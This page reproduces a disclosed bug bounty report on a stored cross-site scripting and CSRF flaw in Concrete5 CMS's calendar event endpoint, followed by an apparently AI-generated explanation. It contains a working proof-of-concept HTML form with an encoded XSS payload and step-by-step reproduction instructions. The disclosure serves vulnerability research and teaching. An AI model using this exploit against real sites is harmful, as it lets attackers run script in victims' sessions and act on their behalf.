Skip to content
XSS Disclosed report Intermediate CVE-2021-40108

Stored unauth XSS in calendar event via CSRF

The calendar event creation endpoint does not filter the description field, allowing stored cross-site scripting. An attacker can also bypass CSRF protection because the endpoint does not verify the CSRF token, enabling an attack that executes script in a victim's browser.

d3addog Follow

Originally disclosed on HackerOne

Medium 4.3 View original
  • Triaged in 3 months
  • Fixed in 7 months
  • Disclosed after 8 months

** crayons **

Description

The description parameter in the scenario /index.php/ccm/calendar/dialogs/event/add/save is affected by Stored XSS due to lack of user supplied data filtration. Also in should be mentioned that this endpoint does not verify CSRF token ccm_token, which leads to an ability to perform CSRF attack using specially crafted web page.

Testing setup :

Concrete5 CMS version: 8.5.4 PHP Version: 7.2.24

Steps to reproduce

  1. Login to your privileged account
  2. Create a web page containing following code (do not forget to change form action URL to your testing server)
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://<YOUR CONCRETE5 TESTING SERVER IP>/index.php/ccm/calendar/dialogs/event/add/save" method="POST">
      <input type="hidden" name="caID" value="1" />
      <input type="hidden" name="name" value="csrf&#95;xss" />
      <input type="hidden" name="description" value="&lt;img&#32;src&#61;x&#32;onerror&#61;alert&#40;document&#46;domain&#41;&gt;" />
      <input type="hidden" name="cID" value="0" />
      <input type="hidden" name="event&#95;repetitionSetID&#91;&#93;" value="1234" />
      <input type="hidden" name="event&#95;repetitionID&#95;1234" value="0" />
      <input type="hidden" name="event&#95;pdStartDate&#95;pub&#95;1234" value="2&#47;12&#47;21" />
      <input type="hidden" name="event&#95;pdStartDate&#95;1234" value="2021&#45;02&#45;12" />
      <input type="hidden" name="event&#95;pdStartDateSelectTime&#95;1234" value="11&#58;00am" />
      <input type="hidden" name="publishAction" value="approve" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

  1. Open the web page from Step 2 in the same browser, where you have logged in account from step 1 and click "Submit request" button
  2. Navigate to calendar tab select created event and click "Details".
  3. After opening "details" XSS will fired

Credits

This bug was found as a part of Solar Security CMS Reseach, with https://hackerone.com/d0bby, https://hackerone.com/wezery0, https://hackerone.com/silvereniqma in collaboration. Can you, please, add them to this report?

Impact

Malicious attacker can potentially obtain sensitive information or make action on user behalf.

Attachments

csrf_xss_events.png
csrf_xss_events.png From the original on HackerOne

The original report as published on HackerOne, by d3addog. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application fails to sanitise the event description before storing and rendering it, and it does not validate the CSRF token on the save endpoint.

Impact

An attacker could potentially obtain sensitive information or perform actions on behalf of the victim.

What the attacker needed

Victim is logged in; victim visits attacker page; attacker can host a web page

How it was found

  1. Log in to a privileged account.
  2. Create a web page with a form that posts to the calendar event save endpoint, including a malicious description.
  3. Open that page in the same browser while logged in and submit the form.
  4. Go to the calendar tab, select the created event, and click Details.
  5. The XSS payload executes when the details are opened.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This report describes a stored cross-site scripting (XSS) flaw. When a user saves a calendar event, the description is stored without cleaning, so if it contains a script, that script runs later when someone views the event. The same form also lacks a CSRF token check, meaning another website can silently submit the form on behalf of a logged-in user.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by d3addog

View all

3 more disclosed reports, best first.

More from Concrete CMS

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.